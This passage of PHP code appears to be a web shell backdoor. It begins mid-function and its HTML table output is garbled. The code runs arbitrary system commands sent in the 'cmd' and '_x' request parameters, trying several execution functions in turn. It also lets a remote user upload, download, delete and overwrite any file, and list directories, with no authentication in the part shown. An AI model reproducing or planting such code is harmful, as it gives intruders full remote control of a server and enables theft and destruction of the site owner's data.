array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$pp);$o=stream_get_contents($pp[1]);fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($p);return $o;} if(function_exists('popen')){$h=popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);return $o;} if(function_exists('shell_exec'))return shell_exec($c); if(function_exists('exec')){exec($c,$o);return implode("\n",$o);} if(function_exists('system')){ob_start();system($c);$o=ob_get_contents();ob_end_clean();return $o;} return 'NO_EXEC'; } $cwd = isset($_POST['dir'])?$_POST['dir']:(isset($_GET['dir'])?$_GET['dir']:__DIR__); if(!is_dir($cwd))$cwd=__DIR__; // Command execution if(isset($_POST['_x'])){ echo '
'.exe($_POST['_x']).''; exit; } if(isset($_GET['cmd'])){ echo '
'.exe($_GET['cmd']).''; exit; } // File upload if(isset($_FILES['f'])){ $dest=$cwd.'/'.basename($_FILES['f']['name']); if(isset($_POST['path'])&&$_POST['path']!=='')$dest=$_POST['path']; echo @move_uploaded_file($_FILES['f']['tmp_name'],$dest)?"OK: $dest":"FAIL"; exit; } // File download if(isset($_GET['dl'])){ $f=$_GET['dl']; if(file_exists($f)){header('Content-Disposition: attachment; filename="'.basename($f).'"');readfile($f);exit;} } // File delete if(isset($_GET['del'])){ $f=$_GET['del']; echo (is_dir($f)?@rmdir($f):@unlink($f))?"DELETED: $f":"FAIL: $f"; exit; } // File save if(isset($_POST['savefile'])){ $f=$_POST['savefile']; echo @file_put_contents($f,$_POST['content'])?"SAVED: $f":"FAIL"; exit; } // List files $files=scandir($cwd); ?>
| Name | Size | Perms | Owner | Actions | '.$nm.' | '; echo ''.($isDir?'-':round($sz/1024,1).'KB').' | '; echo ''.$perm.' | '; echo ''.$owner.' | '; echo ''; if(!$isDir)echo 'DL '; echo 'DEL'; echo ' | '; } ?>
|---|